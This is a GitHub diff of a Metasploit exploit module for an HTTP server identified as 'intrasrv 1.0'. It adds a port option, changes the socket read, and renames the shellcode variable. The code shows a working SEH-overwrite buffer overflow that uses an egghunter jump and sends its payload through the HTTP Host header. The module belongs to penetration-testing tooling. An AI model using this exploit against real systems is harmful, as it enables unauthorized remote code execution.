File tree Expand file tree Collapse file tree 1 file changed +9
-6
lines changed
modules/exploits/windows/http Expand file tree Collapse file tree 1 file changed +9
-6
lines changed Original file line number Diff line number Diff line change @@ -58,6 +58,11 @@ def initialize(info={})
58
58
'Privileged' => false ,
59
59
'DisclosureDate' => "May 30 2013" ,
60
60
'DefaultTarget' => 0 ) )
61
+
62
+ register_options (
63
+ [
64
+ OptPort . new ( 'RPORT' , [ true , 'The remote port' , 80 ] )
65
+ ] , self . class )
61
66
end
62
67
63
68
def check
@@ -68,7 +73,7 @@ def check
68
73
return Exploit ::CheckCode ::Safe
69
74
end
70
75
sock . put ( "GET / HTTP/1.0\r \n " )
71
- res = sock . get
76
+ res = sock . get_once
72
77
73
78
if res =~ /intrasrv 1.0/
74
79
return Exploit ::CheckCode ::Vulnerable
@@ -90,18 +95,16 @@ def exploit
90
95
buf << "\xeb \x80 \x90 \x90 " # nseh - jmp -128 to egghunter
91
96
buf << [ target . ret ] . pack ( "V*" ) # seh
92
97
93
- # Setup payload
94
- shellcode = egg
95
- # second last byte of payload gets corrupted - pad 2 bytes
98
+ # second last byte of payload/egg gets corrupted - pad 2 bytes
96
99
# so we don't corrupt the actual payload
97
- shellcode << rand_text ( 2 )
100
+ egg << rand_text ( 2 )
98
101
99
102
print_status ( "Sending buffer..." )
100
103
# Payload location is an issue, so we're using the tcp mixin
101
104
# instead of HttpClient here to maximize control over what's sent.
102
105
# (i.e. no additional headers to mess with the stack)
103
106
connect
104
- sock . put ( "GET / HTTP/1.0\r \n Host: #{ buf } \r \n #{ shellcode } " )
107
+ sock . put ( "GET / HTTP/1.0\r \n Host: #{ buf } \r \n #{ egg } " )
105
108
disconnect
106
109
end
107
110
end
You can’t perform that action at this time.
0 commit comments